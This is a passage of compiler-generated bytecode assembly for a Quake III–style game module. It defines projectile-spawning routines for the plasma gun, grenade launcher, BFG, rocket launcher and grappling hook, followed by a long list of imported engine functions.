ADDRLP4 0
INDIRP4
CNSTI4 424
ADDP4
CNSTI4 128
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 192
ADDP4
CNSTI4 8
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 512
ADDP4
ADDRFP4 0
INDIRP4
INDIRI4
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 600
ADDP4
ADDRFP4 0
INDIRP4
ASGNP4
ADDRLP4 0
INDIRP4
CNSTI4 736
ADDP4
CNSTI4 20
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 740
ADDP4
CNSTI4 15
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 744
ADDP4
CNSTI4 20
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 748
ADDP4
CNSTI4 8
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 752
ADDP4
CNSTI4 9
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 572
ADDP4
CNSTI4 100663297
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 664
ADDP4
CNSTP4 0
ASGNP4
ADDRLP4 0
INDIRP4
CNSTI4 12
ADDP4
CNSTI4 2
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 16
ADDP4
ADDRGP4 level+32
INDIRI4
CNSTI4 50
SUBI4
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 24
ADDP4
ADDRFP4 4
INDIRP4
INDIRB
ASGNB 12
ADDRLP4 0
INDIRP4
CNSTI4 36
ADDP4
CNSTF4 1157234688
ADDRFP4 8
INDIRP4
INDIRF4
MULF4
ASGNF4
ADDRLP4 0
INDIRP4
CNSTI4 40
ADDP4
CNSTF4 1157234688
ADDRFP4 8
INDIRP4
CNSTI4 4
ADDP4
INDIRF4
MULF4
ASGNF4
ADDRLP4 0
INDIRP4
CNSTI4 44
ADDP4
CNSTF4 1157234688
ADDRFP4 8
INDIRP4
CNSTI4 8
ADDP4
INDIRF4
MULF4
ASGNF4
ADDRLP4 8
ADDRLP4 0
INDIRP4
CNSTI4 36
ADDP4
ASGNP4
ADDRLP4 8
INDIRP4
ADDRLP4 8
INDIRP4
INDIRF4
CVFI4 4
CVIF4 4
ASGNF4
ADDRLP4 12
ADDRLP4 0
INDIRP4
CNSTI4 40
ADDP4
ASGNP4
ADDRLP4 12
INDIRP4
ADDRLP4 12
INDIRP4
INDIRF4
CVFI4 4
CVIF4 4
ASGNF4
ADDRLP4 16
ADDRLP4 0
INDIRP4
CNSTI4 44
ADDP4
ASGNP4
ADDRLP4 16
INDIRP4
ADDRLP4 16
INDIRP4
INDIRF4
CVFI4 4
CVIF4 4
ASGNF4
ADDRLP4 0
INDIRP4
CNSTI4 488
ADDP4
ADDRFP4 4
INDIRP4
INDIRB
ASGNB 12
ADDRLP4 0
INDIRP4
RETP4
LABELV $133
endproc fire_plasma 20 4
export fire_grenade
proc fire_grenade 20 4
ADDRFP4 8
ADDRFP4 8
INDIRP4
ASGNP4
ADDRFP4 8
INDIRP4
ARGP4
ADDRGP4 VectorNormalize
CALLF4
pop
ADDRLP4 4
ADDRGP4 G_Spawn
CALLP4
ASGNP4
ADDRLP4 0
ADDRLP4 4
INDIRP4
ASGNP4
ADDRLP4 0
INDIRP4
CNSTI4 524
ADDP4
ADDRGP4 $138
ASGNP4
ADDRLP4 0
INDIRP4
CNSTI4 684
ADDP4
ADDRGP4 level+32
INDIRI4
CNSTI4 2500
ADDI4
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 688
ADDP4
ADDRGP4 G_ExplodeMissile
ASGNP4
ADDRLP4 0
INDIRP4
CNSTI4 4
ADDP4
CNSTI4 3
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 424
ADDP4
CNSTI4 128
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 192
ADDP4
CNSTI4 4
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 8
ADDP4
CNSTI4 32
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 512
ADDP4
ADDRFP4 0
INDIRP4
INDIRI4
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 600
ADDP4
ADDRFP4 0
INDIRP4
ASGNP4
ADDRLP4 0
INDIRP4
CNSTI4 736
ADDP4
CNSTI4 100
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 740
ADDP4
CNSTI4 100
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 744
ADDP4
CNSTI4 150
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 748
ADDP4
CNSTI4 4
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 752
ADDP4
CNSTI4 5
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 572
ADDP4
CNSTI4 100663297
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 664
ADDP4
CNSTP4 0
ASGNP4
ADDRLP4 0
INDIRP4
CNSTI4 12
ADDP4
CNSTI4 5
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 16
ADDP4
ADDRGP4 level+32
INDIRI4
CNSTI4 50
SUBI4
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 24
ADDP4
ADDRFP4 4
INDIRP4
INDIRB
ASGNB 12
ADDRLP4 0
INDIRP4
CNSTI4 36
ADDP4
CNSTF4 1143930880
ADDRFP4 8
INDIRP4
INDIRF4
MULF4
ASGNF4
ADDRLP4 0
INDIRP4
CNSTI4 40
ADDP4
CNSTF4 1143930880
ADDRFP4 8
INDIRP4
CNSTI4 4
ADDP4
INDIRF4
MULF4
ASGNF4
ADDRLP4 0
INDIRP4
CNSTI4 44
ADDP4
CNSTF4 1143930880
ADDRFP4 8
INDIRP4
CNSTI4 8
ADDP4
INDIRF4
MULF4
ASGNF4
ADDRLP4 8
ADDRLP4 0
INDIRP4
CNSTI4 36
ADDP4
ASGNP4
ADDRLP4 8
INDIRP4
ADDRLP4 8
INDIRP4
INDIRF4
CVFI4 4
CVIF4 4
ASGNF4
ADDRLP4 12
ADDRLP4 0
INDIRP4
CNSTI4 40
ADDP4
ASGNP4
ADDRLP4 12
INDIRP4
ADDRLP4 12
INDIRP4
INDIRF4
CVFI4 4
CVIF4 4
ASGNF4
ADDRLP4 16
ADDRLP4 0
INDIRP4
CNSTI4 44
ADDP4
ASGNP4
ADDRLP4 16
INDIRP4
ADDRLP4 16
INDIRP4
INDIRF4
CVFI4 4
CVIF4 4
ASGNF4
ADDRLP4 0
INDIRP4
CNSTI4 488
ADDP4
ADDRFP4 4
INDIRP4
INDIRB
ASGNB 12
ADDRLP4 0
INDIRP4
RETP4
LABELV $137
endproc fire_grenade 20 4
export fire_bfg
proc fire_bfg 20 4
ADDRFP4 8
ADDRFP4 8
INDIRP4
ASGNP4
ADDRFP4 8
INDIRP4
ARGP4
ADDRGP4 VectorNormalize
CALLF4
pop
ADDRLP4 4
ADDRGP4 G_Spawn
CALLP4
ASGNP4
ADDRLP4 0
ADDRLP4 4
INDIRP4
ASGNP4
ADDRLP4 0
INDIRP4
CNSTI4 524
ADDP4
ADDRGP4 $142
ASGNP4
ADDRLP4 0
INDIRP4
CNSTI4 684
ADDP4
ADDRGP4 level+32
INDIRI4
CNSTI4 10000
ADDI4
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 688
ADDP4
ADDRGP4 G_ExplodeMissile
ASGNP4
ADDRLP4 0
INDIRP4
CNSTI4 4
ADDP4
CNSTI4 3
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 424
ADDP4
CNSTI4 128
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 192
ADDP4
CNSTI4 9
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 512
ADDP4
ADDRFP4 0
INDIRP4
INDIRI4
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 600
ADDP4
ADDRFP4 0
INDIRP4
ASGNP4
ADDRLP4 0
INDIRP4
CNSTI4 736
ADDP4
CNSTI4 100
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 740
ADDP4
CNSTI4 100
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 744
ADDP4
CNSTI4 120
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 748
ADDP4
CNSTI4 12
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 752
ADDP4
CNSTI4 13
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 572
ADDP4
CNSTI4 100663297
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 664
ADDP4
CNSTP4 0
ASGNP4
ADDRLP4 0
INDIRP4
CNSTI4 12
ADDP4
CNSTI4 2
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 16
ADDP4
ADDRGP4 level+32
INDIRI4
CNSTI4 50
SUBI4
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 24
ADDP4
ADDRFP4 4
INDIRP4
INDIRB
ASGNB 12
ADDRLP4 0
INDIRP4
CNSTI4 36
ADDP4
CNSTF4 1157234688
ADDRFP4 8
INDIRP4
INDIRF4
MULF4
ASGNF4
ADDRLP4 0
INDIRP4
CNSTI4 40
ADDP4
CNSTF4 1157234688
ADDRFP4 8
INDIRP4
CNSTI4 4
ADDP4
INDIRF4
MULF4
ASGNF4
ADDRLP4 0
INDIRP4
CNSTI4 44
ADDP4
CNSTF4 1157234688
ADDRFP4 8
INDIRP4
CNSTI4 8
ADDP4
INDIRF4
MULF4
ASGNF4
ADDRLP4 8
ADDRLP4 0
INDIRP4
CNSTI4 36
ADDP4
ASGNP4
ADDRLP4 8
INDIRP4
ADDRLP4 8
INDIRP4
INDIRF4
CVFI4 4
CVIF4 4
ASGNF4
ADDRLP4 12
ADDRLP4 0
INDIRP4
CNSTI4 40
ADDP4
ASGNP4
ADDRLP4 12
INDIRP4
ADDRLP4 12
INDIRP4
INDIRF4
CVFI4 4
CVIF4 4
ASGNF4
ADDRLP4 16
ADDRLP4 0
INDIRP4
CNSTI4 44
ADDP4
ASGNP4
ADDRLP4 16
INDIRP4
ADDRLP4 16
INDIRP4
INDIRF4
CVFI4 4
CVIF4 4
ASGNF4
ADDRLP4 0
INDIRP4
CNSTI4 488
ADDP4
ADDRFP4 4
INDIRP4
INDIRB
ASGNB 12
ADDRLP4 0
INDIRP4
RETP4
LABELV $141
endproc fire_bfg 20 4
export fire_rocket
proc fire_rocket 20 4
ADDRFP4 8
ADDRFP4 8
INDIRP4
ASGNP4
ADDRFP4 8
INDIRP4
ARGP4
ADDRGP4 VectorNormalize
CALLF4
pop
ADDRLP4 4
ADDRGP4 G_Spawn
CALLP4
ASGNP4
ADDRLP4 0
ADDRLP4 4
INDIRP4
ASGNP4
ADDRLP4 0
INDIRP4
CNSTI4 524
ADDP4
ADDRGP4 $146
ASGNP4
ADDRLP4 0
INDIRP4
CNSTI4 684
ADDP4
ADDRGP4 level+32
INDIRI4
CNSTI4 15000
ADDI4
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 688
ADDP4
ADDRGP4 G_ExplodeMissile
ASGNP4
ADDRLP4 0
INDIRP4
CNSTI4 4
ADDP4
CNSTI4 3
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 424
ADDP4
CNSTI4 128
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 192
ADDP4
CNSTI4 5
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 512
ADDP4
ADDRFP4 0
INDIRP4
INDIRI4
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 600
ADDP4
ADDRFP4 0
INDIRP4
ASGNP4
ADDRLP4 0
INDIRP4
CNSTI4 736
ADDP4
CNSTI4 100
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 740
ADDP4
CNSTI4 100
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 744
ADDP4
CNSTI4 120
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 748
ADDP4
CNSTI4 6
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 752
ADDP4
CNSTI4 7
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 572
ADDP4
CNSTI4 100663297
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 664
ADDP4
CNSTP4 0
ASGNP4
ADDRLP4 0
INDIRP4
CNSTI4 12
ADDP4
CNSTI4 2
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 16
ADDP4
ADDRGP4 level+32
INDIRI4
CNSTI4 50
SUBI4
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 24
ADDP4
ADDRFP4 4
INDIRP4
INDIRB
ASGNB 12
ADDRLP4 0
INDIRP4
CNSTI4 36
ADDP4
CNSTF4 1147207680
ADDRFP4 8
INDIRP4
INDIRF4
MULF4
ASGNF4
ADDRLP4 0
INDIRP4
CNSTI4 40
ADDP4
CNSTF4 1147207680
ADDRFP4 8
INDIRP4
CNSTI4 4
ADDP4
INDIRF4
MULF4
ASGNF4
ADDRLP4 0
INDIRP4
CNSTI4 44
ADDP4
CNSTF4 1147207680
ADDRFP4 8
INDIRP4
CNSTI4 8
ADDP4
INDIRF4
MULF4
ASGNF4
ADDRLP4 8
ADDRLP4 0
INDIRP4
CNSTI4 36
ADDP4
ASGNP4
ADDRLP4 8
INDIRP4
ADDRLP4 8
INDIRP4
INDIRF4
CVFI4 4
CVIF4 4
ASGNF4
ADDRLP4 12
ADDRLP4 0
INDIRP4
CNSTI4 40
ADDP4
ASGNP4
ADDRLP4 12
INDIRP4
ADDRLP4 12
INDIRP4
INDIRF4
CVFI4 4
CVIF4 4
ASGNF4
ADDRLP4 16
ADDRLP4 0
INDIRP4
CNSTI4 44
ADDP4
ASGNP4
ADDRLP4 16
INDIRP4
ADDRLP4 16
INDIRP4
INDIRF4
CVFI4 4
CVIF4 4
ASGNF4
ADDRLP4 0
INDIRP4
CNSTI4 488
ADDP4
ADDRFP4 4
INDIRP4
INDIRB
ASGNB 12
ADDRLP4 0
INDIRP4
RETP4
LABELV $145
endproc fire_rocket 20 4
export fire_grapple
proc fire_grapple 20 4
ADDRFP4 0
ADDRFP4 0
INDIRP4
ASGNP4
ADDRFP4 8
ADDRFP4 8
INDIRP4
ASGNP4
ADDRFP4 8
INDIRP4
ARGP4
ADDRGP4 VectorNormalize
CALLF4
pop
ADDRLP4 4
ADDRGP4 G_Spawn
CALLP4
ASGNP4
ADDRLP4 0
ADDRLP4 4
INDIRP4
ASGNP4
ADDRLP4 0
INDIRP4
CNSTI4 524
ADDP4
ADDRGP4 $96
ASGNP4
ADDRLP4 0
INDIRP4
CNSTI4 684
ADDP4
ADDRGP4 level+32
INDIRI4
CNSTI4 10000
ADDI4
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 688
ADDP4
ADDRGP4 Weapon_HookFree
ASGNP4
ADDRLP4 0
INDIRP4
CNSTI4 4
ADDP4
CNSTI4 3
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 424
ADDP4
CNSTI4 128
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 192
ADDP4
CNSTI4 10
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 512
ADDP4
ADDRFP4 0
INDIRP4
INDIRI4
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 748
ADDP4
CNSTI4 23
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 572
ADDP4
CNSTI4 100663297
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 600
ADDP4
ADDRFP4 0
INDIRP4
ASGNP4
ADDRLP4 0
INDIRP4
CNSTI4 664
ADDP4
CNSTP4 0
ASGNP4
ADDRLP4 0
INDIRP4
CNSTI4 12
ADDP4
CNSTI4 2
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 16
ADDP4
ADDRGP4 level+32
INDIRI4
CNSTI4 50
SUBI4
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 140
ADDP4
ADDRFP4 0
INDIRP4
INDIRI4
ASGNI4
ADDRLP4 0
INDIRP4
CNSTI4 24
ADDP4
ADDRFP4 4
INDIRP4
INDIRB
ASGNB 12
ADDRLP4 0
INDIRP4
CNSTI4 36
ADDP4
CNSTF4 1145569280
ADDRFP4 8
INDIRP4
INDIRF4
MULF4
ASGNF4
ADDRLP4 0
INDIRP4
CNSTI4 40
ADDP4
CNSTF4 1145569280
ADDRFP4 8
INDIRP4
CNSTI4 4
ADDP4
INDIRF4
MULF4
ASGNF4
ADDRLP4 0
INDIRP4
CNSTI4 44
ADDP4
CNSTF4 1145569280
ADDRFP4 8
INDIRP4
CNSTI4 8
ADDP4
INDIRF4
MULF4
ASGNF4
ADDRLP4 8
ADDRLP4 0
INDIRP4
CNSTI4 36
ADDP4
ASGNP4
ADDRLP4 8
INDIRP4
ADDRLP4 8
INDIRP4
INDIRF4
CVFI4 4
CVIF4 4
ASGNF4
ADDRLP4 12
ADDRLP4 0
INDIRP4
CNSTI4 40
ADDP4
ASGNP4
ADDRLP4 12
INDIRP4
ADDRLP4 12
INDIRP4
INDIRF4
CVFI4 4
CVIF4 4
ASGNF4
ADDRLP4 16
ADDRLP4 0
INDIRP4
CNSTI4 44
ADDP4
ASGNP4
ADDRLP4 16
INDIRP4
ADDRLP4 16
INDIRP4
INDIRF4
CVFI4 4
CVIF4 4
ASGNF4
ADDRLP4 0
INDIRP4
CNSTI4 488
ADDP4
ADDRFP4 4
INDIRP4
INDIRB
ASGNB 12
ADDRFP4 0
INDIRP4
CNSTI4 516
ADDP4
INDIRP4
CNSTI4 760
ADDP4
ADDRLP4 0
INDIRP4
ASGNP4
ADDRLP4 0
INDIRP4
RETP4
LABELV $149
endproc fire_grapple 20 4
import trap_SnapVector
import trap_GeneticParentsAndChildSelection
import trap_BotResetWeaponState
import trap_BotFreeWeaponState
import trap_BotAllocWeaponState
import trap_BotLoadWeaponWeights
import trap_BotGetWeaponInfo
import trap_BotChooseBestFightWeapon
import trap_BotAddAvoidSpot
import trap_BotInitMoveState
import trap_BotFreeMoveState
import trap_BotAllocMoveState
import trap_BotPredictVisiblePosition
import trap_BotMovementViewTarget
import trap_BotReachabilityArea
import trap_BotResetLastAvoidReach
import trap_BotResetAvoidReach
import trap_BotMoveInDirection
import trap_BotMoveToGoal
import trap_BotResetMoveState
import trap_BotFreeGoalState
import trap_BotAllocGoalState
import trap_BotMutateGoalFuzzyLogic
import trap_BotSaveGoalFuzzyLogic
import trap_BotInterbreedGoalFuzzyLogic
import trap_BotFreeItemWeights
import trap_BotLoadItemWeights
import trap_BotUpdateEntityItems
import trap_BotInitLevelItems
import trap_BotSetAvoidGoalTime
import trap_BotAvoidGoalTime
import trap_BotGetLevelItemGoal
import trap_BotGetMapLocationGoal
import trap_BotGetNextCampSpotGoal
import trap_BotItemGoalInVisButNotVisible
import trap_BotTouchingGoal
import trap_BotChooseNBGItem
import trap_BotChooseLTGItem
import trap_BotGetSecondGoal
import trap_BotGetTopGoal
import trap_BotGoalName
import trap_BotDumpGoalStack
import trap_BotDumpAvoidGoals
import trap_BotEmptyGoalStack
import trap_BotPopGoal
import trap_BotPushGoal
import trap_BotResetAvoidGoals
import trap_BotRemoveFromAvoidGoals
import trap_BotResetGoalState
import trap_BotSetChatName
import trap_BotSetChatGender
import trap_BotLoadChatFile
import trap_BotReplaceSynonyms
import trap_UnifyWhiteSpaces
import trap_BotMatchVariable
import trap_BotFindMatch
import trap_StringContains
import trap_BotGetChatMessage
import trap_BotEnterChat
import trap_BotChatLength
import trap_BotReplyChat
import trap_BotNumInitialChats
import trap_BotInitialChat
import trap_BotNumConsoleMessages
import trap_BotNextConsoleMessage
import trap_BotRemoveConsoleMessage
import trap_BotQueueConsoleMessage
import trap_BotFreeChatState
import trap_BotAllocChatState
import trap_Characteristic_String
import trap_Characteristic_BInteger
import trap_Characteristic_Integer
import trap_Characteristic_BFloat
import trap_Characteristic_Float
import trap_BotFreeCharacter
import trap_BotLoadCharacter
import trap_EA_ResetInput
import trap_EA_GetInput
import trap_EA_EndRegular
import trap_EA_View
import trap_EA_Move
import trap_EA_DelayedJump
import trap_EA_Jump
import trap_EA_SelectWeapon
import trap_EA_MoveRight
import trap_EA_MoveLeft
import trap_EA_MoveBack
import trap_EA_MoveForward
import trap_EA_MoveDown
import trap_EA_MoveUp
import trap_EA_Crouch
import trap_EA_Respawn
import trap_EA_Use
import trap_EA_Attack
import trap_EA_Talk
import trap_EA_Gesture
import trap_EA_Action
import trap_EA_Command
import trap_EA_SayTeam
import trap_EA_Say
import trap_AAS_PredictClientMovement
import trap_AAS_Swimming
import trap_AAS_AlternativeRouteGoals
import trap_AAS_PredictRoute
import trap_AAS_EnableRoutingArea
import trap_AAS_AreaTravelTimeToGoalArea
import trap_AAS_AreaReachability
import trap_AAS_IntForBSPEpairKey
import trap_AAS_FloatForBSPEpairKey
import trap_AAS_VectorForBSPEpairKey
import trap_AAS_ValueForBSPEpairKey
import trap_AAS_NextBSPEntity
import trap_AAS_PointContents
import trap_AAS_TraceAreas
import trap_AAS_PointReachabilityAreaIndex
import trap_AAS_PointAreaNum
import trap_AAS_Time
import trap_AAS_PresenceTypeBoundingBox
import trap_AAS_Initialized
import trap_AAS_EntityInfo
import trap_AAS_AreaInfo
import trap_AAS_BBoxAreas
import trap_BotUserCommand
import trap_BotGetServerCommand
import trap_BotGetSnapshotEntity
import trap_BotLibTest
import trap_BotLibUpdateEntity
import trap_BotLibLoadMap
import trap_BotLibStartFrame
import trap_BotLibDefine
import trap_BotLibVarGet
import trap_BotLibVarSet
import trap_BotLibShutdown
import trap_BotLibSetup
import trap_DebugPolygonDelete
import trap_DebugPolygonCreate
import trap_GetEntityToken
import trap_GetUsercmd
import trap_BotFreeClient
import trap_BotAllocateClient
import trap_EntityContact
import trap_EntitiesInBox
import trap_UnlinkEntity
import trap_LinkEntity
import trap_AreasConnected
import trap_AdjustAreaPortalState
import trap_InPVSIgnorePortals
import trap_InPVS
import trap_PointContents
import trap_Trace
import trap_SetBrushModel
import trap_GetServerinfo
import trap_SetUserinfo
import trap_GetUserinfo
import trap_GetConfigstring
import trap_SetConfigstring
import trap_SendServerCommand
import trap_DropClient
import trap_LocateGameData
import trap_Cvar_VariableStringBuffer
import trap_Cvar_VariableValue
import trap_Cvar_VariableIntegerValue
import trap_Cvar_Set
import trap_Cvar_Update
import trap_Cvar_Register
import trap_SendConsoleCommand
import trap_FS_Seek
import trap_FS_GetFileList
import trap_FS_FCloseFile
import trap_FS_Write
import trap_FS_Read
import trap_FS_FOpenFile
import trap_Args
import trap_Argv
import trap_Argc
import trap_RealTime
import trap_Milliseconds
import trap_Error
import trap_Print
import g_proxMineTimeout
import g_singlePlayer
import g_enableBreath
import g_enableDust
import g_rankings
import pmove_msec
import pmove_fixed
import g_smoothClients
import g_blueteam
import g_redteam
import g_cubeTimeout
import g_obeliskRespawnDelay
import g_obeliskRegenAmount
import g_obeliskRegenPeriod
import g_obeliskHealth
import g_filterBan
import g_banIPs
import g_teamForceBalance
import g_teamAutoJoin
import g_allowVote
import g_blood
import g_doWarmup
import g_warmup
import g_motd
import g_synchronousClients
import g_weaponTeamRespawn
import g_weaponRespawn
import g_debugDamage
import g_debugAlloc
import g_debugMove
import g_inactivity
import g_forcerespawn
import g_quadfactor
import g_knockback
import g_speed
import g_gravity
import g_needpass
import g_password
import g_friendlyFire
import g_capturelimit
import g_timelimit
import g_fraglimit
import g_dmflags
import g_restarted
import g_maxGameClients
import g_maxclients
import g_cheats
import g_dedicated
import g_gametype
import g_entities
import level
import Pickup_Team
import CheckTeamStatus
import TeamplayInfoMessage
import Team_GetLocationMsg
import Team_GetLocation
import SelectCTFSpawnPoint
import Team_FreeEntity
import Team_ReturnFlag
import Team_InitGame
import Team_CheckHurtCarrier
import Team_FragBonuses
import Team_DroppedFlagThink
import AddTeamScore
import TeamColorString
import TeamName
import OtherTeam
import BotTestAAS
import BotAIStartFrame
import BotAIShutdownClient
import BotAISetupClient
import BotAILoadMap
import BotAIShutdown
import BotAISetup
import BotInterbreedEndMatch
import Svcmd_BotList_f
import Svcmd_AddBot_f
import G_BotConnect
import G_RemoveQueuedBotBegin
import G_CheckBotSpawn
import G_GetBotInfoByName
import G_GetBotInfoByNumber
import G_InitBots
import Svcmd_AbortPodium_f
import SpawnModelsOnVictoryPads
import UpdateTournamentInfo
import G_WriteSessionData
import G_InitWorldSession
import G_InitSessionData
import G_ReadSessionData
import Svcmd_GameMem_f
import G_InitMemory
import G_Alloc
import CheckObeliskAttack
import Team_CheckDroppedItem
import OnSameTeam
import G_RunClient
import ClientEndFrame
import ClientThink
import ClientCommand
import ClientBegin
import ClientDisconnect
import ClientUserinfoChanged
import ClientConnect
import G_Error
import G_Printf
import SendScoreboardMessageToAllClients
import G_LogPrintf
import AddTournamentQueue
import G_RunThink
import CheckTeamLeader
import SetLeader
import FindIntermissionPoint
import MoveClientToIntermission
import DeathmatchScoreboardMessage
import FireWeapon
import G_FilterPacket
import G_ProcessIPBans
import ConsoleCommand
import SpotWouldTelefrag
import CalculateRanks
import AddScore
import player_die
import ClientSpawn
import InitBodyQue
import BeginIntermission
import ClientRespawn
import CopyToBodyQue
import SelectSpawnPoint
import SetClientViewAngle
import PickTeam
import TeamLeader
import TeamCount
import Weapon_HookThink
import Weapon_HookFree
import CheckGauntletAttack
import SnapVectorTowards
import CalcMuzzlePoint
import LogAccuracyHit
import TeleportPlayer
import trigger_teleporter_touch
import Touch_DoorTrigger
import G_RunMover
import TossClientCubes
import TossClientItems
import body_die
import G_InvulnerabilityEffect
import G_RadiusDamage
import G_Damage
import CanDamage
import BuildShaderStateConfig
import AddRemap
import G_SetOrigin
import G_AddEvent
import G_AddPredictableEvent
import vectoyaw
import vtos
import tv
import G_TouchTriggers
import G_EntitiesFree
import G_FreeEntity
import G_Sound
import G_TempEntity
import G_Spawn
import G_InitGentity
import G_SetMovedir
import G_UseTargets
import G_PickTarget
import G_Find
import G_KillBox
import G_TeamCommand
import G_SoundIndex
import G_ModelIndex
import SaveRegisteredItems
import RegisterItem
import ClearRegisteredItems
import Touch_Item
import Add_Ammo
import ArmorIndex
import Think_Weapon
import FinishSpawningItem
import G_SpawnItem
import SetRespawn
import LaunchItem
import Drop_Item
import PrecacheItem
import UseHoldableItem
import RespawnItem
import G_RunItem
import G_CheckTeamItems
import Cmd_FollowCycle_f
import SetTeam
import BroadcastTeamChange
import StopFollowing
import Cmd_Score_f
import G_NewString
import G_SpawnEntitiesFromString
import G_SpawnVector
import G_SpawnInt
import G_SpawnFloat
import G_SpawnString
import BG_PlayerTouchesItem
import BG_PlayerStateToEntityStateExtraPolate
import BG_PlayerStateToEntityState
import BG_TouchJumpPad
import BG_AddPredictableEventToPlayerstate
import BG_EvaluateTrajectoryDelta
import BG_EvaluateTrajectory
import BG_CanItemBeGrabbed
import BG_FindItemForHoldable
import BG_FindItemForPowerup
import BG_FindItemForWeapon
import BG_FindItem
import bg_numItems
import bg_itemlist
import Pmove
import PM_UpdateViewAngles
import Com_Printf
import Com_Error
import Info_NextPair
import Info_Validate
import Info_SetValueForKey_Big
import Info_SetValueForKey
import Info_RemoveKey_Big
import Info_RemoveKey
import Info_ValueForKey
import Com_TruncateLongString
import va
import Q_CountChar
import Q_CleanStr
import Q_PrintStrlen
import Q_strcat
import Q_strncpyz
import Q_stristr
import Q_strupr
import Q_strlwr
import Q_stricmpn
import Q_strncmp
import Q_stricmp
import Q_isintegral
import Q_isanumber
import Q_isalpha
import Q_isupper
import Q_islower
import Q_isprint
import Com_RandomBytes
import Com_SkipCharset
import Com_SkipTokens
import Com_sprintf
import Com_HexStrToInt
import Parse3DMatrix
import Parse2DMatrix
import Parse1DMatrix
import SkipRestOfLine
import SkipBracedSection
import COM_MatchToken
import COM_ParseWarning
import COM_ParseError
import COM_Compress
import COM_ParseExt
import COM_Parse
import COM_GetCurrentParseLine
import COM_BeginParseSession
import COM_DefaultExtension
import COM_CompareExtension
import COM_StripExtension
import COM_GetExtension
import COM_SkipPath
import Com_Clamp
import PerpendicularVector
import AngleVectors
import MatrixMultiply
import MakeNormalVectors
import RotateAroundDirection
import RotatePointAroundVector
import ProjectPointOnPlane
import PlaneFromPoints
import AngleDelta
import AngleNormalize180
import AngleNormalize360
import AnglesSubtract
import AngleSubtract
import LerpAngle
import AngleMod
import BoundsIntersectPoint
import BoundsIntersectSphere
import BoundsIntersect
import BoxOnPlaneSide
import SetPlaneSignbits
import AxisCopy
import AxisClear
import AnglesToAxis
import vectoangles
import Q_crandom
import Q_random
import Q_rand
import Q_acos
import Q_log2
import VectorRotate
import Vector4Scale
import VectorNormalize2
import VectorNormalize
import CrossProduct
import VectorInverse
import VectorNormalizeFast
import DistanceSquared
import Distance
import VectorLengthSquared
import VectorLength
import VectorCompare
import AddPointToBounds
import ClearBounds
import RadiusFromBounds
import NormalizeColor
import ColorBytes4
import ColorBytes3
import _VectorMA
import _VectorScale
import _VectorCopy
import _VectorAdd
import _VectorSubtract
import _DotProduct
import ByteToDir
import DirToByte
import ClampShort
import ClampChar
import Q_rsqrt
import Q_fabs
import Q_isnan
import axisDefault
import vec3_origin
import g_color_table
import colorDkGrey
import colorMdGrey
import colorLtGrey
import colorWhite
import colorCyan
import colorMagenta
import colorYellow
import colorBlue
import colorGreen
import colorRed
import colorBlack
import bytedirs
import Hunk_AllocDebug
import FloatSwap
import LongSwap
import ShortSwap
import CopyLongSwap
import CopyShortSwap
import qk_acos
import qk_fabs
import qk_abs
import qk_tan
import qk_atan2
import qk_cos
import qk_sin
import qk_sqrt
import qk_floor
import qk_ceil
import qk_memcpy
import qk_memset
import qk_memmove
import qk_sscanf
import qk_vsnprintf
import qk_strtol
import qk_atoi
import qk_strtod
import qk_atof
import qk_toupper
import qk_tolower
